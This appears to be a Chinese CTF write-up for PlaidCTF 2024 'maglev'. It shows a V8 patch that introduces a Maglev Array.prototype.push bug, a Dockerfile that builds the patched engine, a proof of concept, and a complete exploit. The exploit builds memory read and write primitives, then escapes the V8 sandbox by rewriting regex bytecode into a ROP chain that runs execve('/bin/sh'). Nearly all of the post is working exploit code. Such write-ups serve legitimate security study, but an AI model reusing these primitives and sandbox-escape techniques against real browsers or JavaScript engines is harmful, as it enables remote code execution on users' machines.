
pwn· 更新于 2025-03-14
PlaidCTF2024-maglev
PlaidCTF2024-maglev
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 585c37b16e1..2dc9cec9d99 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3303,6 +3303,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
+ if (/* DISABLES CODE */ (false)) {
global_template->Set(Symbol::GetToStringTag(isolate),
String::NewFromUtf8Literal(isolate, "global"));
global_template->Set(isolate, "version",
@@ -3325,8 +3326,10 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
FunctionTemplate::New(isolate, ReadLine));
global_template->Set(isolate, "load",
FunctionTemplate::New(isolate, ExecuteFile));
+ }
global_template->Set(isolate, "setTimeout",
FunctionTemplate::New(isolate, SetTimeout));
+ if (/* DISABLES CODE */ (false)) {
// Some Emscripten-generated code tries to call 'quit', which in turn would
// call C's exit(). This would lead to memory leaks, because there is no way
// we can terminate cleanly then, so we need a way to hide 'quit'.
@@ -3350,7 +3353,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
global_template->Set(isolate, "async_hooks",
Shell::CreateAsyncHookTemplate(isolate));
}
-
+ }
return global_template;
}
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index 197dcba916b..aba8eb86354 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -6835,6 +6835,14 @@ ReduceResult MaglevGraphBuilder::TryReduceArrayPrototypePush(
ValueNode* new_array_length_smi =
AddNewNode<CheckedSmiIncrement>({old_array_length_smi});
+ ValueNode* length_field_smi;
+ GET_VALUE_OR_ABORT(length_field_smi,
+ GetSmiValue(AddNewNode<LoadTaggedField>({receiver},
+ JSArray::kLengthOffset)));
+ ValueNode* length_field = AddNewNode<UnsafeSmiUntag>({length_field_smi});
+ ValueNode* new_length_field_smi =
+ AddNewNode<CheckedSmiIncrement>({length_field_smi});
+
ValueNode* elements_array = BuildLoadElements(receiver);
ValueNode* elements_array_length =
AddNewNode<UnsafeSmiUntag>({AddNewNode<LoadTaggedField>(
@@ -6849,17 +6857,16 @@ ReduceResult MaglevGraphBuilder::TryReduceArrayPrototypePush(
{elements_array, receiver, old_array_length, elements_array_length},
kind);
- AddNewNode<StoreTaggedFieldNoWriteBarrier>({receiver, new_array_length_smi},
+ AddNewNode<StoreTaggedFieldNoWriteBarrier>({receiver, new_length_field_smi},
JSArray::kLengthOffset);
// Do the store
if (IsDoubleElementsKind(kind)) {
AddNewNode<StoreFixedDoubleArrayElement>(
- {writable_elements_array, old_array_length, value});
+ {writable_elements_array, length_field, value});
} else {
DCHECK(IsSmiElementsKind(kind) || IsObjectElementsKind(kind));
- BuildStoreFixedArrayElement(writable_elements_array, old_array_length,
- value);
+ BuildStoreFixedArrayElement(writable_elements_array, length_field, value);
}
return ReduceResult::Done();
};
@@ -6872,7 +6879,7 @@ ReduceResult MaglevGraphBuilder::TryReduceArrayPrototypePush(
sub_graph.Bind(&*do_return);
}
RecordKnownProperty(receiver, broker()->length_string(), new_array_length_smi,
- false, compiler::AccessMode::kStore);
+ false, compiler::AccessMode::kLoad);
return new_array_length_smi;
}
@@ -7042,7 +7049,7 @@ ReduceResult MaglevGraphBuilder::TryReduceArrayPrototypePop(
sub_graph.Bind(&*do_return);
RecordKnownProperty(receiver, broker()->length_string(),
sub_graph.get(var_new_array_length), false,
- compiler::AccessMode::kStore);
+ compiler::AccessMode::kLoad);
return sub_graph.get(var_value);
}
FROM ubuntu@sha256:aa772c98400ef833586d1d517d3e8de670f7e712bf581ce6053165081773259d
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -yq build-essential git wget python3 lsb-release binutils binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf binutils-mips64el-linux-gnuabi64 binutils-mipsel-linux-gnu bison bzip2 cdbs curl dbus-x11 devscripts dpkg-dev elfutils fakeroot flex git-core gperf lib32z1 libasound2 libasound2-dev libatk1.0-0 libatspi2.0-0 libatspi2.0-dev libbluetooth-dev libbrlapi-dev libbrlapi0.8 libbz2-1.0 libbz2-dev libc6 libc6-dev libcairo2 libcairo2-dev libcap-dev libcap2 libcgi-session-perl libcups2 libcups2-dev libcurl4-gnutls-dev libdrm-dev libdrm2 libegl1 libelf-dev libevdev-dev libevdev2 libexpat1 libffi-dev libffi8 libfontconfig1 libfreetype6 libgbm-dev libgbm1 libgl1 libglib2.0-0 libglib2.0-dev libglu1-mesa-dev libgtk-3-0 libgtk-3-dev libinput-dev libinput10 libjpeg-dev libkrb5-dev libnspr4 libnspr4-dev libnss3 libnss3-dev libpam0g libpam0g-dev libpango-1.0-0 libpangocairo-1.0-0 libpci-dev libpci3 libpcre3 libpixman-1-0 libpng16-16 libpulse-dev libpulse0 libsctp-dev libspeechd-dev libspeechd2 libsqlite3-0 libsqlite3-dev libssl-dev libstdc++6 libsystemd-dev libudev-dev libudev1 libuuid1 libva-dev libvulkan-dev libvulkan1 libwayland-egl1 libwayland-egl1-mesa libwww-perl libx11-6 libx11-xcb1 libxau6 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxdmcp6 libxext6 libxfixes3 libxi6 libxinerama1 libxkbcommon-dev libxrandr2 libxrender1 libxshmfence-dev libxslt1-dev libxss-dev libxt-dev libxtst-dev libxtst6 lighttpd locales mesa-common-dev openbox p7zip patch perl pkg-config rpm ruby subversion uuid-dev wdiff x11-utils xcompmgr xvfb xz-utils zip zlib1g zstd
WORKDIR /build
RUN git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
ENV PATH="/build/depot_tools:$PATH"
RUN gclient
WORKDIR /build/v8
COPY diff.patch .
RUN fetch v8 && cd /build/v8/v8 && git checkout 8fd9b6c4481babb973bba94decd8e2614669b5e9 && gclient sync -D && patch -p1 < ../diff.patch && tools/dev/gm.py x64.release
CMD echo "All done."
漏洞处

POC
let cor_arr;
let arr = [];
let arr2 = arr;
function f() {
cor_arr = [arr, arr];
arr2.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(3.4540680395689801e-308);
arr2.push(6.1075495069397581e-309);
arr2.push(8.4879838501182713e-314);
arr2.push(0.1);
}
% PrepareFunctionForOptimization(f)
f();
f();
% OptimizeMaglevOnNextCall(f);
// for (var j = 0; j < 10000; j++) {
// f();
// }
arr = [];
arr.push(1.1);
arr2 = arr;
let float_arr = [1.1, 2.2, 3.3, 4.4];
let obj_array = [float_arr, float_arr];
f();
let cor = cor_arr[0];
// % DebugPrint(cor);
function addrr(addr) {
cor[23] = p64(10, addr);
return u64(float_arr[0]);
}
function addrrl(addr) {
cor[23] = p64(10, addr);
return u64_l(float_arr[0]);
}
function addrw(addr, valh, vall) {
cor[23] = p64(10, addr + 1);
float_arr[0] = p64(valh, vall);
}
function addrwl(addr, val) {
cor[23] = p64(10, addr + 1);
float_arr[0] = p64(0, val);
}
沙箱逃逸
https://github.com/rycbar77/V8-Sandbox-Escape-via-Regexp
exp
const buf = new ArrayBuffer(8);
const dv = new DataView(buf);
function p64() {
if (arguments.length === 1) {
// dv.setUint32(0, arguments[0] & 0xFFFFFFFF, true);
// dv.setUint32(0x4, parseInt(BigInt(arguments[0]) >> BigInt(32)), true);
dv.setBigUint64(0, BigInt(arguments[0]), true);
return dv.getFloat64(0, true);
} else if (arguments.length === 2) {
dv.setUint32(0, arguments[1], true);
dv.setUint32(0x4, arguments[0], true);
return dv.getFloat64(0, true);
}
}
function u64(val) {
dv.setFloat64(0, val, true);
return dv.getBigUint64(0, true);
}
function u64_l(val) {
dv.setFloat64(0, val, true);
return dv.getUint32(0, true);
}
function u64_h(val) {
dv.setFloat64(0, val, true);
return dv.getUint32(0x4, true);
}
function gc_l() {
log("major gc");
new ArrayBuffer(0x7fe00000);
}
function gc_s() {
log("minor gc");
for (let i = 0; i < 0x10; i++) {
new Array(0x1000000);
}
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
function hex(x) {
return x.toString(16);
}
function printhex() {
if (arguments.length === 1) {
console.log(`\u001b[32m[+]Hex: \u001b[0m0x${arguments[0].toString(16)}`);
} else if (arguments.length === 2) {
console.log(`\u001b[32m[+]${arguments[0]}: \u001b[0m0x${arguments[1].toString(16)}`);
}
}
function log() {
output = `\u001b[32m[+]${arguments[0]}\u001b[0m`;
for (let i = 1; i < arguments.length; i++) {
output += arguments[i];
}
console.log(output);
}
function warn() {
output = `\u001b[31m[+]${arguments[0]}\u001b[0m`;
for (let i = 1; i < arguments.length; i++) {
output += arguments[i];
}
console.log(output);
}
function farrdump(float_arr, start, end) {
for (let i = start; i < end; i++) {
printhex(`arr[${i}]`, u64(float_arr[i]));
}
}
function iarrdump(int_arr, start, end) {
for (let i = start; i < end; i++) {
printhex(`arr[${i}]`, int_arr[i]);
}
}
let cor_arr;
let arr = [];
let arr2 = arr;
function f() {
cor_arr = [arr, arr];
arr2.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(3.4540680395689801e-308);
arr2.push(6.1075495069397581e-309);
arr2.push(8.4879838501182713e-314);
arr2.push(0.1);
}
% PrepareFunctionForOptimization(f)
f();
f();
% OptimizeMaglevOnNextCall(f);
// for (var j = 0; j < 10000; j++) {
// f();
// }
arr = [];
arr.push(1.1);
arr2 = arr;
let float_arr = [1.1, 2.2, 3.3, 4.4];
let obj_array = [float_arr, float_arr];
f();
let cor = cor_arr[0];
// % DebugPrint(cor);
function addrr(addr) {
cor[23] = p64(10, addr);
return u64(float_arr[0]);
}
function addrrl(addr) {
cor[23] = p64(10, addr);
return u64_l(float_arr[0]);
}
function addrw(addr, valh, vall) {
cor[23] = p64(10, addr + 1);
float_arr[0] = p64(valh, vall);
}
function addrwl(addr, val) {
cor[23] = p64(10, addr + 1);
float_arr[0] = p64(0, val);
}
// printhex(addrr(0x46791));
let s = "aaaa"
var regex = /[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*/g;
obj_array[0] = regex;
log("regex");
// log("obj");
// % DebugPrint(obj_array);
let addr_regex = u64_l(cor[25]);
let data_addr = addrrl(addr_regex + 0x4);
printhex("addr_regex", addr_regex);
printhex("data_addr", data_addr);
regex.exec(s);
// % DebugPrint(regex);
// % SystemBreak();
let bytecode = addrrl(data_addr + 0x14);
printhex("bytecode", bytecode);
addrw(data_addr + 0x2f - 8, 0, 2);
let arr1 = [];
function push_reg(idx) {
arr1.push((idx << 8) & 0xffffff00 | 0x03);
}
function pop_reg(idx) {
arr1.push((idx << 8) & 0xffffff00 | 0x0c);
}
function mov_reg1_to_reg2(idx1, idx2) {
push_reg(idx1);
pop_reg(idx2);
}
function advance_reg(idx, value) {
arr1.push((idx << 8) & 0xffffff00 | 0x09);
arr1.push(value);
}
function set_reg(idx, value) {
arr1.push((idx << 8) & 0xffffff00 | 0x08);
arr1.push(value);
}
function success() {
arr1.push(0x0000000e);
if (arr1.length % 2 === 1) {
arr1.push(0x0000000e);
}
}
let idx = 0x52;
function add_gadget(addr) {
mov_reg1_to_reg2(3, 5);
advance_reg(5, addr);
mov_reg1_to_reg2(5, idx++);
mov_reg1_to_reg2(4, idx++);
}
mov_reg1_to_reg2(0x53, 4);
mov_reg1_to_reg2(0x52, 3);
advance_reg(3, 0xFE9BBCE0);
add_gadget(0x11ab9fa); //pop rsi; ret;
add_gadget(0x2644000);
add_gadget(0x1082d5e); //pop rdx; ret;
set_reg(idx++, 0x6e69622f);
set_reg(idx++, 0x68732f);
add_gadget(0x1636fa3); //mov qword ptr [rsi], rdx; ret;
add_gadget(0x14b44dc); //pop rdi; ret;
add_gadget(0x2644000);
add_gadget(0x11ab9fa); //pop rsi; ret;
set_reg(idx++, 0);
set_reg(idx++, 0);
add_gadget(0x1082d5e); //pop rdx; ret;
set_reg(idx++, 0);
set_reg(idx++, 0);
add_gadget(0x11091b0); //pop rax; ret;
set_reg(idx++, 0x3b);
set_reg(idx++, 0);
add_gadget(0x108492d); //syscall;
// add_gadget(0x11091b0); //pop rax; ret;
// add_gadget(0x14b44dc); //pop rdi; ret;
// add_gadget(0x11ab9fa); //pop rsi; ret;
// add_gadget(0x1082d5e); //pop rdx; ret;
// add_gadget(0x108492d); //syscall;
// add_gadget(0x1636fa3); //mov qword ptr [rsi], rdx; ret;
success();
cor[23] = p64(50, bytecode + 0x7 + 1);
// % DebugPrint(float_arr);
let arr1idx = 0;
let flarridx = 0;
for (; arr1idx < arr1.length - 1; flarridx += 1) {
float_arr[flarridx] = p64(arr1[arr1idx + 1], arr1[arr1idx]);
arr1idx += 2;
}
// % SystemBreak();
regex.exec(s);
// % SystemBreak();

评论


